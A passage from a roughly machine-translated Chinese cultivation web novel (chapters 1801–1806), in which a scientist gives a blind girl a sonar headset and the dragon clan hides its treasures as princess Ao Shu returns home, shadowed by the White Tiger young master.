    "Because whether it is cultivation or technology, human nature is inherently selfish and greedy. You cannot change this at all!"


    "I can now conclude that even if you really upset the heavens, but within a hundred years, there will definitely be a new class of powerful and powerful people. Then how do you solve it?"

 Chapter 1801： Take what you need for each transaction

    Xue An''s questioning caused Zhang Tianyou to fall into contemplation.


    After a while, he nodded.


    "I understand a little bit. What you said makes some sense. I did not think about it before, but what you said is not all right. At least if you say I am naive, I disagree a bit! In short, my ideal It will definitely happen, and then you will know who is right and who is wrong!"


    "Okay!" Xue An nodded and said lightly: "Then I will wait for that day!"


    Although he was not able to join the group, Zhang Tianyou was not angry because of this. He led everyone back to the living room and said to Fox Ye straightforwardly: "I want to draw a few tubes of your blood for research, okay?"


    Hu Ye immediately shook his head like a rattle, "I''m kidding, of course not! You think the blood of the fairy king is your tap water, and you have to draw a few pipes... not a single drop!"


    Zhang Tianyou seemed to have expected that Fox Ye would answer this way, and couldn''t help but smile, "Don''t refuse so anxiously, I am not smoking for nothing, but using one thing to make a deal with you!"


    "Don''t come to this set, you can''t say anything today!" Hu Ye''s tone was still tough.


    "Oh? What if I can solve this woman''s problem?"


    With that, Zhang Tianyou pointed to A Rou.


    Hu Ye was shocked and looked at Zhang Tianyou with disbelief, "You mean...can you heal A Rou''s eyes?"


    Unexpectedly, Zhang Tianyou shook his head, "Impossible, since she first stepped into the star ring, I have tested her through various methods, and her eyes are actually okay. The key lies in her. There are no brain cells for vision in his brain."


    Fox Ye heard the words like a discouraged ball, and said very disappointedly: "Then what are you doing so busy?"


    Zhang Tianyou smiled slightly, "Although her eyes cannot be cured, I have a way for her to live a normal life like ordinary people!"


    "What method?" Hu Ye got up again.


    "Haha!" Zhang Tianyou stretched out three fingers, "300 ml of blood!"


    Hu Ye gritted his teeth with anger, "No, I can only give you 100ml at most!"


    "Two hundred and fifty milliliters!"


    "One hundred and five!"


    "two hundred!"


    "Deal!"


    As soon as the voice fell, Huanhuan got out of nowhere, holding a syringe, there was no time for Fox Ye to react, and it was directly stuck on his arm.


    puff!


    "Ah! It hurts, it hurts!" Hu Ye cried.


    But the woman didn''t even react at all, she quickly drew 200ml of blood, then pulled out the needle and took a step back.


    Looking at the Fox Night at this time, he was sweating profusely and panting, as if he was about to collapse.


    Upon seeing this, Hu Ying hurried over, and said very worried: "Brother Xue, what''s the matter with my brother? Did he draw too much blood?"


    "It''s not the blood of the fairy king, it''s just a little ordinary blood, how can it be possible to draw more?" Xue An said lightly.


    "Then how could he be like this?"


    "It should be... dizzy!"


    Xue An really got it right.


    Fox Ye seems to be very resistant to this sharp object by nature, and the feeling of the needle just now is a bit unpleasant, causing him to turn black now, and his heartbeat speeds up.


    He was so scared that he hurriedly ran his cultivation base before dispelling this feeling.


    At the same time, Zhang Tianyou took the syringe with satisfaction, and then carefully stored it.


    "Hey, now you have also drawn blood, it''s time to take out your things!"


    "Something? What?"


    "Oh, fucking, want to go back on the bill?" Hu Ye immediately opened his eyes and looked at Zhang Tianyou with murderous expression.


    Zhang Tianyou smiled, "Don''t worry, what I promised will be done naturally. I really don''t have anything to help this woman, but I can do it now!"


    "Do it now?"


    "Yes! I just had an idea, now I can do it in detail!"


    Relying on the powerful manufacturing capabilities of this laboratory, Zhang Tianyou quickly produced something and handed it to A Rou.


    "Try it on! This is tailor-made for you, and it should be appropriate."


    A Rou fumbled and picked it up.


    Hu Ye watched from the side, and then looked at Zhang Tianyou in amazement.


    "You talked for a long time, and you got two earphones? Are you bullying me and never seen the world?"


    Zhang Tianyou nodded, "You have never seen the world before. This is indeed a headset, but it is not an ordinary headset. Because it can emit a sound with a special frequency, which will be changed after it hits the surface of the object. The road returns, is received by the headset, and analyzed, and finally a picture is drawn."


    "In this way, this woman can use this pair of headphones to achieve a more alternative visual experience. Although it is not as intuitive as real vision, she can live a normal life anyway."


    After listening to Zhang Tianyou''s introduction, A Rou was very excited, and then put two earphones into her ears.


    After a while, she staggered to the table, and then tremblingly stretched out her hand to lift the teacup on the table.


    This kind of movement, which seemed to a normal person, could not be simpler, but it was very difficult for A Rou before.


    Because she couldn''t hear the stationary object.


    This also made her feel very inferior for a while, especially after following Fox Night out, this inferiority has evolved into a kind of self-blame.


    Not only can he not help Huye, he also needs Huye''s care.


    This feeling made Arou very depressed.


    But now with the help of this headset, Arou couldn''t help but increase his confidence.


    Because anyway, I can at least take care of myself in the future.


    Hu Ye was also very excited, and immediately stood in front of A Rou and said softly: "Rou''er, can you see me now if you try?"


    A Rou turned her head and stared at Hu Ye with her godless eyes. After a while, she slowly stretched out her hand and touched Hu Ye''s cheek.


    "You can see an outline!"


    Hearing this, even Hu Ying couldn''t help getting excited.


    Unexpectedly, Fox Ye''s next sentence would destroy this romantic atmosphere without a trace.


    "How is it, handsome?"


    The corners of A Rou''s mouth raised, revealing a bright smile, and then nodded heavily.


    "Well Very handsome!"


    Hu Ye was very excited, turned his head and shouted at Zhang Tianyou: "Old Zhang, thank you!"


    Zhang Tianyou smiled slightly, "You''re welcome, this is just a transaction for each of us!"


    Then he took out a small black box and handed it to Xue An.


    "This is a liaison device. When you press the switch, as long as I am still in the heavens, I will receive the news as soon as possible, and then I will be able to get in touch with me."


    Xue Anxin took it over.


    "Well, although I really want to stay with you for a few more days, I still have the next step to complete, so I won''t keep you. I hope that when we meet next time, you have changed your mind and are willing to join my science and technology reform agency!"


    After speaking, Zhang Tianyou turned the wheelchair and went deep into the laboratory.


    "Huanhuan, give me a guest!"


    "Yes!"

 Chapter 1802： The ancestral land of the dragon tribe

    "Are you gone?" Zhang Tianyou asked without looking back when footsteps heard behind him.


    "gone!"


    "Hehe, I have a hunch, I will definitely meet this group of people again in the future!" Zhang Tianyou said lightly.


    Huanhuan, wearing a princess dress, walked behind Zhang Tianyou, and then gently kneaded his shoulders.


    "Doctor, since you value this group of people very much, why not force them to stay?"


    "Forcibly stay?" Zhang Tianyou shook his head, "How can it be so easy? What''s more, the purpose of my establishment of the Science Reform Society is not to force anyone, but to use technology to change everything."


    "Oh!"


    At this moment, Zhang Tianyou suddenly grabbed a hand of Huanhuan, then raised his head and looked at her with piercing eyes.


    Huanhuan suddenly became a little flustered, "Doctor, or I will pour you a cup of tea!"


    He turned around and left.


    But at this moment, Zhang Tianyou said softly: "Huanhuan, have you always hated me?"


    Huanhuan shook all over, then whispered: "Doctor, you''re talking nonsense again!"


    "Then why do you keep refusing to approach me?"


    "Because... I was created by you. In my mind, you are my creator!" Huanhuan whispered.


    Zhang Tianyou showed a bitter smile when he heard the words, then let go of his hand, and said somewhat sullenly: "I see, you go down first!"


    Huanhuan hesitated, but finally retreated.


    Zhang Tianyou turned to look at the vast galaxy in the monitor, and whispered softly: "Creator? Haha! I can''t even protect my own people. Who am I to be the creator? Even your consciousness belongs to my people. It��s forged by the soul, so you hate me and stay away from me. I can understand."


    "But I didn''t do anything wrong!"


    Speaking of the last, Zhang Tianyou sighed slightly, his back looks more and more lonely against the background of the huge display.


    And above the star boat, A Rou was doing housework with excitement.


    The so-called housework is actually cleaning the table and tidying things up.


    But this was enough Arou to be happy.


    After all, in the past, if you wanted to do this, you had to go through constant exploration and remember where everything was placed.


    Therefore, Arou simply loves this visual model built on the basis of hearing.


    But Hu Ye was a little worried that Arou was tired, so she kept persuading her to rest.


    Xue An smiled upon seeing this: "Okay, just let her do it. If she really does not move, she will be more uncomfortable."


    Huye sat down beside Xue An helplessly, and suddenly lowered his voice and said, "Old Xue, what do you think of this incident just now?"


    "What do you think?"


    "How do I feel that this surname Zhang doesn''t look like a good person? Especially the scientific change everything development society he founded, the more I listen to it, the more it resembles a demon!"


    Xue An smiled, "Why can''t I tell?"


    Fox Ye wanted to say something, Xue An waved his hand, "Okay, I know what you mean, but I don''t think he has done anything wrong, those brainwashed monks... can''t you see that they are not good people? Huh?"


    "As for this science to change all development society..."


    Xue settled for a while, then chuckled softly: "From this name, you can tell that Zhang Tianyou is a complete idealist, a...big houseman!"


    Everything was calm again, and the star boat continued to fly towards the depths of the starry sky at a constant speed.


    But at the same moment in the ancestral land of the dragon clan, there was a lot of chicken flying.


    Numerous dragons flew up and down in the sky like the end of the day, with a panic face, and even two dragons collided in the air because they were absent-minded.


    As for the ground, the cities and dens where these dragons live are even more chaotic.


    "Move quickly, it''s really too late!" a giant dragon urged anxiously in the air.


    The speed of Pulong and the dragon slaves has obviously increased, but the dragon is obviously still very dissatisfied.


    "Don''t rush, hurry up, remove everything that can be removed, or wait for that Xue Papi to come, there will be nothing left, maybe even you will become Xue Papi''s trophy! He is nothing! If it is done, if I sell you, then I can''t control it!"


    Upon hearing this, the work progress of these dragon slaves suddenly accelerated several times.


    All because of the name Xue Bapi.


    The origin of this name has not been verified, anyway, even the elders of the dragon clan were shocked when they heard the name.


    Because the lessons that Xue An left to these dragons at the time were too profound.


    It is so deep that when Xue An is mentioned, there are still many dragons who want to cry without tears.


    In the words of their Dragon Clan, the sky of the Dragon Clan��s ancestral land has been three feet taller since the attack on Xue Papi once.


    Xue An really didn''t even let the ground go. He plowed them all over, and even if others stopped him, Xue An might have taken the planet away.


    Because of this, when the news of Xue An''s fall came, the entire dragon clan''s ancestral land was full of joy, and even the elder ate two more bowls of rice.


    Almost all the dragons are celebrating, thinking that Xue Papi has finally "retributed".


    Of course, they all celebrated secretly.


    Because none of them dared to let the princess know what happened.


    Everything is going in a good direction.


    Unexpectedly, the following two incidents caused the dragons to start frightening again.


    Especially the second time, after feeling the breath of Xue An exactly, the Long Clan Great Elder immediately made a very wise decision.


    That is to demolish the temple and hide it.


    By now, the great elder couldn''t help feeling more and more grateful for his original decision.


    Because the dragon clan has now received the definitive news, the Red Lotus Immortal Venerable has indeed reincarnated and reincarnated, and in a very short period of time, he proclaimed himself the immortal king again.


    And as soon as he ascended to the position of the Immortal King, Xue An successively cut down the six great immortal kings, among them the Five Elements Evil Emperor who once crossed the heavens.


    As soon as this news came out, the heavens almost exploded.


    As the most well-informed tribe, the dragon tribe naturally knows more in detail than others.


    But the more so, the more the dragon clan panics.


    God knows if this Xue Papi who has been used to the dragon clan to fight the autumn wind will come.


    But just to be on the safe side , these dragons who regard money as life still act immediately and hide all kinds of treasures elsewhere.


    Just as the dragon elder was thinking about what treasures were not hidden in the lair, a giant dragon ran in panic.


    "Report, Great Elder, the big thing is not good!"


    The elder was shocked, the huge dragon eyes suddenly rounded, "What''s wrong? But is Xue Bapi here?"


    "No!"


    The Grand Elder immediately heaved a sigh of relief, "Aren''t you doing so in a panic?"


    "It''s your Royal Highness! She suddenly sent a message that she will return to the ancestral land soon!"


    Cang!


    A purple-golden bowl in the hands of the Dragon Clan Great Elder fell to the ground, and then suddenly screamed.


    "Quick! Reply quickly and say don''t let her come back!"


    "It''s too late, the princess said that she is on the road now!"

 Chapter 1803： Ao Shu

    The dragon elder was silent for a moment, and then he said in a deep voice: "Immediately send the order, no one may disclose information about Xue An to the little princess. Whoever violates the order, Sin Longtai serves!"


    "Yes!"


    With an order, the ancestral land of the Dragon clan was another turmoil.


    "What? The little princess has left the customs? Why didn''t you leave the customs early and late, so you went out at this time? Isn''t this a mess?" A dark dragon screamed.


    "Who says it''s not! And I think it''s not that simple. Maybe our princess already knows the news now!" Qinglong said with a sad face.


    "This **** Xue An, just forget about plundering the property, and let the little princess have deep roots in his love. It''s really a crime!" A Huanglong lamented extremely sadly.


    "Don''t talk about the useless ones. Since the little princess has broken through the secret realm, she should be back soon. Let''s figure out how to hide the little princess! After all...the sin dragon platform Not a vegetarian!"


    Hearing the three words Sin Dragon Terrace, all the dragons present trembled, and there was a look of horror in their eyes.


    Because that was specifically used to punish the dragons who made mistakes. I heard that there were various punishments on it, all of which were handed down from ancient times.


    Therefore, a giant dragon once said that if you go to the Dragon Platform, you have to peel off the scales to survive.


    It can also be seen how terrifying this Sin Dragon Terrace is, and it is second only to Dragon Slashing Platform in terms of deterrence.


    "This **** Xue Papi!" Many dragons gritted their teeth and scolded, and then scattered away with a heavy heart.


    Because they know that the real test is coming soon.


    Just when these dragons were frightened.


    In the void hundreds of thousands of miles away from the ancestral land of the Dragon Race, there is an ocean of stardust.


    This is the relic left after countless stars were forcibly broken, the scale of which is simply staggering.


    And once you enter it, you will often lose your way and eventually be trapped alive inside.


    Therefore, this place has also become a forbidden place for living beings, even if it is a strong Da Luo, they dare not easily go deep.


    But at this moment, the originally calm sea of ??stardust suddenly began to surging violently, and then saw a rider dominated by four blue dragons rushing out of it at a terrifying speed.


    This car has a height of hundreds of feet, and the body is made of unknown metal. The whole body is pitch black, and it is printed with exquisite golden patterns, giving people a very bright and atmospheric feeling.


    Pulling the chariot in front are four thousand-foot-long blue dragons, each with scales like profound armor and magnificent aura.


    "His Royal Highness! We are now out of the range of the Stardust maze, and the White Tiger Clan''s residence is not far in front." Sitting on the carriage, the black-clothed woman driving the Qinglong said respectfully.


    After a while, a cold female voice came from the chariot.


    "Understood, send them a notice, saying that we will pass by here and return to our ancestral land!"


    "Yes!"


    The woman in black stretched out her hand and took out a seal letter from her waist, and then pressed it into the void.


    Bang!


    After a black light flashed, this seal pattern appeared in the void.


    Immediately afterwards, this seal turned into a streamer and flew to the distant starry sky.


    After finishing all this, the woman in black said respectfully: "His Royal Highness, it has already been sent out, shall we wait for the White Tiger clan''s reply here?"


    "No need, go straight home!"


    "Yes!"


    The Qinglong chariot moved slowly, then accelerated suddenly, and disappeared into the depths of the starry sky.


    But just when the chariot was about to leave the range of the Baihu clan.


    A brilliance suddenly appeared in front of him, blocking the path of the car.


    And there was a group of people standing impressively under the brilliance, some of them shouted loudly: "The young master of the white tiger clan welcomes the little princess here!"


    The black woman was surrounded by silk reins, and the car wheel abruptly stopped in a very short time.


    It was only then that I could see where the brilliance was blocking the way. It was clearly a big flag embroidered with a vicious-looking white tiger image.


    And all the people standing under the banner were from the Baihu tribe.


    The leader is a handsome young man dressed in white, showing all kinds of majesty in every gesture of gesture.


    Especially his eyes actually showed a faint golden color, which set off the infinite majesty.


    It is the young master of the White Tiger Clan, Li Fierce!


    When the car stopped, a faint smile appeared on Li Xioling''s face, and then he stepped forward and said.


    "Little princess, long time no see, I have been waiting here for a long time!"


    There was silence in the chariot.


    Li Xiaoling just stood so quietly, with the same smile on his face.


    It took a long time to hear the sound from the chariot.


    "Young Master is too polite, with your respect, why wait for me here?"


    Like the Dragons, the White Tigers are also powerful monsters handed down from ancient times.


    And this young white tiger''s dignity of bloodlines is not inferior to this little dragon princess.


    Li Xianling laughed at the words, "The little princess has been retreating in the secret realm for many years. It is a great joy to be celebrated when she broke through this time. Moreover, I just happened to pass by my clan residence, as the young master. It is only natural to come out to greet you!"


    These remarks were justified and well-founded, and they gave the dragon a lot of face. They were very beautiful.


    But the little princess in the chariot didn''t seem to appreciate it. After she was silent for a moment, she said lightly: "The young master has a heart. The little girl is grateful, but I don''t know if I can pass?"


    There is no meaning to get out of the car at all.


    Li Xiaoling''s eyelids twitched slightly, the smile on his face was still there, but his eyes were slightly cold, but they were quickly hidden perfectly, and then he sighed slightly.


    "Shu''er, why do you have such a birth? You know we were good friends who talked about everything when we were young!"


    "It''s hard to pass me here, don''t you even get out of the car to meet?" Li Xiong said lightly.


    "I''m sorry, I do have something urgent here. I will wait for the next time If I have the opportunity, I will visit it personally! As for the things when I was young...Lord Master, don''t mention it again. At the end, the voice in the chariot became a little cold.


    There was a ray of fire in Li Xiaoling''s eyes.


    He came here to wait after receiving the notice of the seal.


    Up to now, he has waited for a full quarter of an hour. Although this time is not long, how many people in the world are worthy of waiting for Young Master Baihu?


    Therefore, Li Xiaoling thought that he had shown enough sincerity, but he didn''t expect that the dragon princess would not appreciate at all, and he could not even hold a car.


    It was like slapped him in the face in public, how could he not be annoyed by it.


    If it was someone else, Li Xiaoling didn''t mind tearing it up completely.


    But when facing the car, Li Xioling''s eyes flashed, and finally took a deep breath, suppressed the irritability in his chest, and chuckled: "If this is the case, then I won''t disturb your Highness''s journey!"


    As he said, he turned aside slightly and stepped aside.

 Chapter 1804： Young Master Baihu is unpredictable

    "Thank you!"


    The Qinglong chariot rumbling along, is about to leave here.


    But at this moment, Li Xiaoling also got on a white tiger carriage and followed closely behind him.


    "Li Xiaoling, what do you mean?" The voice of the little princess in the chariot already brought a hint of chill.


    Li Xiaoling smiled, "Sister Ao Shu, don''t get me wrong, I don''t want to follow you, I just happen to want to visit the great elder. Why? Does this require your consent?"


    "You...!" The voice in the car wheel became angry, but it was finally suppressed, and then said coldly: "Xian''er, let''s go!"


    The Qinglong chariot accelerated and disappeared in the blink of an eye.


    Li Xioling smiled coldly, "Come on!"


    "Yes!"


    Although there are hundreds of millions of miles away, it is only a few minutes away for the class of Qinglong and Baihu.


    Just an hour later, a huge planet with no friends appeared in front of him.


    How big is this planet!


    Let''s put it this way, all the words used to describe big things look eclipsed in front of this planet.


    Even when it is still billions of miles away, this planet has already occupied all of your vision.


    Only such a planet can carry so many dragons and even become the ancestors of dragons.


    Seeing her hometown after many years of absence, the driver Xian''er couldn''t help feeling a little excited.


    "His Royal Highness, I''m here, do I need to notify the family in advance?"


    The little princess in the chariot was very calm.


    "No need, go straight back!"


    "understand."


    When this blue dragon chariot finally crossed the void and came before this planet.


    The dragon elders in the underground lair also felt it for the first time.


    All of a sudden, the underground nest was quiet.


    "It''s really fast to come back!" Long clan elder said bitterly.


    "Have you thought of an idea? How can you explain it to Shu''er later?"


    "Where did I know! Don''t ask me, my head is almost exploding!"


    "Or just say there is a powerful enemy invading!"


    "Bah, what powerful enemy can scare us like this, do you think Shu''er will believe these nonsense?"


    "Then what do you say?"


    "Blame you, you shouldn''t have let Shu''er go to a secret retreat!"


    "What''s wrong with me? Didn''t you agree to it?"


    For a while, the underground lair was boiling, and many elders began to blame each other with beards and stares.


    At this moment, the elder suddenly felt something, and he shouted in a deep voice: "Don''t quarrel anymore. After arguing for a long time, can you find any results?"


    The elders all lowered their tall heads.


    At this time, the elder said with a look of confusion: "Strange, why the young master of the White Tiger clan also came back with Shu''er?"


    "Li Xiongling?" an elder asked in surprise.


    The elder nodded, "Yes, it''s this kid! He came back with Shu''er."


    Hearing this sentence, many elders were shocked, and then looked at each other.


    "Could it be... Shu''er has forgotten that Xue Papi and is with this young master Baihu? How else would they come back together after breaking the barrier?" An elder whispered softly.


    Many elders couldn''t help but look thoughtful, and then nodded one after another.


    "Maybe this is true. After all, Shu''er was still very young at the beginning. Although I have said some silly things, maybe it is just a childlike innocence. Now after a period of time, I have been in the secret for a long time, maybe I have really figured it out. That''s it!" An elder said excitedly.


    "But... this fierce and fierce spirit is not a good thing. He is said to be cruel and greedy. How can such a person be worthy of Shuer?"


    "Yes, I don''t agree!"


    "Hehe, the Baihu clan is originally a virtuous, this Li Xianling can be better as the young master of the white tiger, but anyway, he is also a monster clan, better than Xue Papi!"


    "But I still think this fierce and fierce spirit is not very good!"


    The topic suddenly became Xue An or Li Xiaoling which is better.


    At this moment, the elder said in a deep voice, "Okay, don''t discuss this anymore. Whether it is or not, that will be the future. The most important thing now is how to hide the little princess. As for this Li fierce spirit..."


    There was a ruthless look in the eyes of the elder, "If he really dares to think about Shu''er, then I don''t mind letting the old man be less bloody!"


    The monstrous evil spirit revealed in the words shook the audience.


    The elders leaned over, "Understand!"


    At this moment, the Qinglong chariot had already flown into the planet, looking at it, the land under his feet was devastated, and there was not even a complete building.


    Seeing this scene, Xian''er who drove the car couldn''t help widening her eyes, and said in amazement, "What is going on? Why is it like this?"


    This is the fierce and fierce white tiger chariot who also entered the planet, and he was also startled by the scene in front of him.


    "What tricks are these loaches playing? How did they take everything down?" Li Xiaoling whispered softly.


    at the same time.


    They have arrived at the place where the Dragon Temple was before.


    But at this moment, the Dragon Temple has disappeared, leaving only an empty foundation standing there.


    "Hall...Your Highness, what''s going on? What about our temple? What a big temple!" Xian''er said inexplicably shocked.


    At this moment, I saw several dragons clearing their way, and then the dragon elder came to the court, and then he smiled and said, "Shu''er, why are you back so fast? I plan to send someone there. Pick you up!"


    When he saw his arrival, the car wheel shook a few times, and the car curtain moved to the left and right silently, and then walked out a young girl wearing a lotus shirt with a creamy skin.


    This girl seems to be only about seventeen or eighteen years old tall and slender, with beautiful appearance.


    The most outstanding thing is her eyes, the pupils are pure and abnormal like lotus blossoms, reflecting the unspeakable brilliance.


    I saw her salute the great elder, "Shu''er, I have seen the great elder!"


    It is the most noble white dragon bloodline among the dragons, the third princess Ao Shu!


    Upon seeing this, the elder also converged himself, showing a human state, astonishingly a middle-aged man with a beard.


    There was a smile on his face, and he looked at Ao Shu dozingly.


    "Good boy, you don''t need to be so polite. Why did you break the barrier suddenly this time?"


    Ao Shu was silent for a moment, and then shook his head, "I don''t know, but I suddenly noticed an unspeakable throbbing, Great Elder, I..."


    Before she could finish speaking, the white tiger chariot had also arrived, and Li Xiongling walked down from it and greeted the elder.


    "Young Master Baihu is very fierce and has met the Great Elder!"

 Chapter 1805： White Kings Blood

    Seeing Li Xiongling salute him so respectfully, the Long Clan Great Elder looked a little strange, but he nodded slightly.


    "It turns out to be the young master of the White Tiger clan, is your old man okay?"


    "If you go back to the elder, everything is fine for my father!"


    "But I don''t know why your dignified Young Master White Tiger came to my dragon clan ancestral land?" The elder said flatly, with a hint of indifference in his words.


    After all, the relationship between the dragon clan and the white tiger clan is not very good. Although they are not too far apart, the communication between them only ends with nodding their heads.


    So now that Li Xiaoling is visiting suddenly, the Great Elder naturally wants to ask such a sentence.


    Unexpectedly, Li Xianling, who is always known for his violent temperament, is not at all angry at the moment because of the indifference of the elder. On the contrary, he said with a smile: "Here, one is to meet the elder, and the other is because I heard that Ao Sister Shu broke through, so she came here to celebrate!"


    No matter how bad Li Xiongling''s reputation is, he can be called blameless based on his current performance.


    Not only did he speak politely, but also kept his posture very low, even lip service.


    This can be said to give the dragon a lot of face.


    Therefore, even the great elder who was quite prejudiced against Li Xiongling had to nod his head at this moment, with a smile on his face.


    After all, don''t you reach out and hit the smiley people!


    If you look indifferent again, it really hurts the majesty of the dragon clan.


    "It turned out to be so, the young master is really interested! But my Shuer just broke through, and the news has not spread. How did you know? And it happened so coincidentally that they came back almost one after another. Now?" the elder asked.


    Li Xiaoling smiled slightly, "This is all because sister Ao Shu had passed by the residence of my Baihu family, and I also saw it from the seal notice she sent!"


    "What? Shu''er, why did you pass by the Baihu clan''s residence? Could it be that you came from the Star Sea Fan Array?" The elder was shocked.


    As if knowing that he had done something wrong, Ao Shu lowered his head slightly and said softly, "The situation is urgent, so I took a shortcut!"


    The grand elder and the elders who came afterwards all turned pale.


    "Shu''er ah Shuer, how can you be such a fool! What is the Star Sea Array? That''s the Jedi that can trap the strong Da Luo, you rush in, if something happens, you let us How do the guys face your parents'' undead, how do you face your sister?"


    "Yeah! This is not a joke, don''t say something, even if you are wronged, the second princess will not let us old guys go!"


    These elders started to make noise with each other, and at the same time they looked sad, as if Ao Shu did this as if he had committed an unforgivable crime.


    But at this moment, Ao Shu said lightly: "It''s okay, I have a sense of measure in my heart!"


    "Proper measure? How can you measure? Your current bloodline power can''t even reach Ronaldo. Isn''t this a nonsense..."


    Before the elder was finished, Ao Shu whispered: "I am already!"


    "what?"


    Because Ao Shu''s voice was too small, everyone present did not hear clearly.


    The Great Elder looked at Ao Shu with a look of doubt.


    I saw Ao Shu raised his head and said with a calm face: "I said...I have now awakened a part of the power of the bloodline, and I am already a powerful player!"


    Many elders looked at Ao Shu in amazement, eyes full of incredible color.


    Because Ao Shu''s current age is only seventeen years old if converted to Human Race.


    Even if the blood of the most noble King White is flowing on her, it is impossible for her to become a powerful Da Luo in such a short time.


    After all, even her sister, the peerless genius who had shaken the heavens, only entered the realm of Da Luo when she was twenty-five years old.


    At this moment, I seemed to feel everyone''s doubts, and a powerful force emerged from Ao Shu''s body. Wherever he passed, the dragon was awe-inspiring, as if he had become a big Luo.


    Especially above her head, the outline of a white dragon faintly appeared, and then the white dragon slowly raised his head, the brilliance in his eyes flashed, causing the entire dragon clan ancestors to tremble slightly.


    "God! The White King''s phantom! Shu''er, she... really stepped into the realm of Daluo!" An elder whispered in shock with a shocked face.


    Even Li Xiaoling looked at Ao Shu with a dazed expression, but after that, his eyes gradually became hot.


    Because Ao Shu''s strength now shows that her talent is even stronger than her sister.


    Such a powerful talent, coupled with the bloodline of a hundred kings in her body, firmly attracted the eyes of Li Fierce like a magnet, and even made him feel infinite possessiveness.


    Only such a woman can be worthy of my noble status! Li Xiaoling roared in his heart.


    Her talent plus my bloodline, once combined, will surely give birth to an extremely powerful offspring.


    At that time, my position in the Baihu clan will be unbreakable, and I can even replace my father and become the first successor of the patriarch!


    These thoughts ate Li Xioling''s heart like a poisonous snake, and made his eyes more eager.


    at the same time.


    The Great Elder was the first to rush forward, raised his hand to hold Ao Shu''s wrist, and then took a closer look.


    After a while, his eyes gradually brightened, and then he stared at Ao Shu with his eyes on rare treasures, and his voice trembled slightly: "Shu''er, when did you break through to become the powerful Da Luo?"


    Ao Shu said softly: "Just two days ago, I suddenly noticed an inexplicable throbbing, that is, this throbbing will break through the last obstacle that prevented me from breaking through and then I I stepped into the realm of Da Luo!"


    The excited beard of the elder was trembling, "Seventeen-year-old Daluo! The Dragon God is here, and if the spirit of the white king knows that the little princess is so arrogant, you will be extremely happy!"


    Speaking of the end, the voice of the great elder was even a little choked, and the elders were all excited, and some even lowered their heads to secretly wipe away the tears from the corners of their eyes.


    At the same time, Li Xiongling, who had already concealed all his greed and desire, stepped forward and said with a calm smile on his face.


    "Congratulations, sister Ao Shu, for actually being able to step into the realm of Da Luo at such an age, this incident will shake the whole monster clan, and sister Ao Shu''s future will be boundless! Congratulations to the elder, Dragon Clan Dachang, it should be at this moment!"


    This is very beautiful, at least scratched on the itch of the elder, I saw him burst into laughter.


    "The young master said that my dragon clan must regain its former glory!"


    Li Xiaoling said with a smile, "Then how can we not celebrate such a happy event?"

 Chapter 1806： The one who got $0 is still alive!

    "Celebrate, celebrate, of course, come! Pass my order and immediately send out invitations, saying that my little princess has witnessed Da Luo with a seventeen-year-old body. A grand celebration will be held soon, and the great monsters will be invited to come and watch! "The great elder said cheerfully.


    Li Xioling smiled slightly, "I came in a hurry. Fortunately, I took a few treasures with me, so let''s treat it as a gift first!"


    As he said, his subordinates sent a jade slip.


    At this time, even the Great Elder had a feeling of admiration towards Li Xiongling.


    You should know that he had seen Li Xioling when he was a child, and that Li Xioling left a very bad impression on the elder.


    But now it seems that this fierce spirit has changed so much!


    At least polite and courteous, and the conversation is a lot more regular.


    The great elder''s impression of Li Xiaoling couldn''t help but change.


    But no matter how Li Xiaoling behaved, Ao Shu never even looked at him.


    There was no excitement even on her face, she just asked softly.


    "Elder, where is our temple?"


    This question made the great elder who was originally full of joy froze in place.


    "Uh...this..."


    "Also, I found on the way here that all the precious buildings have been demolished, what''s the matter?" Ao Shu asked softly.


    There was sweat on the elder''s forehead, and Ai Ai said, "This...this..."


    Suddenly, his eyes lit up, "Ah, yes, we are repairing!"


    "Repair?" Ao Shu was slightly startled.


    "Yes, just repair!" After finding an excuse, the words of the great elder immediately became fluent, and his expression became more natural.


    "Shu''er, you are often not at home. Naturally, I don��t know how dilapidated our Dragon Clan��s buildings have been after so many years of ups and downs. It happened that there was nothing wrong in the Monster Clan during this time, so everyone started repairing them together. These buildings are coming! Am I right?" The elder looked at the elders behind him.


    These elders are all Lords who have lived for thousands of years. How can they not understand what the great elder means, so they nodded and said: "Yes, that''s right, they are repairing!"


    Ao Shu frowned slightly, "But if it is repaired, do we need to completely demolish the temple?"


    "Need, of course! After all, the temple is the sacred place of our dragon race. It is related to the face of our dragon race. Naturally, it needs to be repaired perfectly, so it must be demolished first!" The elder said righteously.


    Ao Shu still felt that something was wrong, and couldn''t help but looked at the elder in confusion, "Are you hiding something from me?"


    The heads of the elders shook like a rattle.


    "No! How could something be hidden from you, let''s go, Shuer, you just broke the barrier and you have rushed so far, let''s go back and rest first!" The elder kept the topic away.


    But at this moment, the void in the distance suddenly vibrated endlessly, and then layers of ripples appeared, and then a cart pulled by five blue dragons rushed out of it.


    The speed of the car was so fast, it rushed to the front of everyone in a short time, and then it was able to stop.


    Immediately afterwards, a figure jumped out of it, accompanied by a voice full of surprises.


    "Shu''er, you actually broke through? Did you hear the news?"


    Following the voice, a woman who looked somewhat similar to Ao Shu, but with a little madness in her eyes, appeared in front of everyone.


    "Second...Second sister?" Ao Shu was taken aback.


    That''s right!


    It was Ao Shu''s second sister, that is, the famous second princess, Ao Yi.


    I saw this Ao Yi rushing towards the front with joy, holding his sister in his arms, and then kneading it vigorously.


    "Hehehe, it really smells good on my sister! It feels good too!" Ao Yi said with a look of enjoyment.


    Ao Shu was made a big red face, and struggled a few times, but couldn''t get away at all, so she could only whisper: "Second sister, so many people..."


    Ao Yi glanced at the people around him nonchalantly, "What''s the matter? I give my sister a hug, is there anyone who doesn''t agree?"


    Ao Shu has nothing to do with her crazy second sister, so she can only whisper: "Naturally no one has any opinions, but can you let me go first?"


    "Hey, good, good! Shuer, everything you say is good!"


    Ao Yi smiled and let go, then looked around for a while, then looked down at the temple that had been demolished to the base, and a sneer smile appeared at the corner of his mouth.


    "Yeah, the action is very fast, the temple was demolished as soon as I learned the news?"


    The great elder and all the elders present saw the second princess Ao Yi, their eyelids jumped wildly, and their hearts were not good.


    Especially the Great Elder, he was so anxious, he kept winking at Ao Yi.


    But Ao Yi didn''t seem to see it at all, and said lightly: "It was just a news that he was waking up. You were so scared that all the buildings were demolished? Are you so afraid of him? "


    These words made the elders speechless, and Ao Shu was even more shocked. Then he thought of something and trembled and said, "Second...Second sister, what are you talking about?"


    "Huh? Don''t you actually know?" Ao Yi said curiously.


    "Know what? I just broke the barrier and didn''t know anything outside!"


    "Hehe, it turned out to be like this! I thought you broke through when you knew the news!" Ao Yi looked at the ugly-faced Elder and others with a smug expression, and then he smiled.


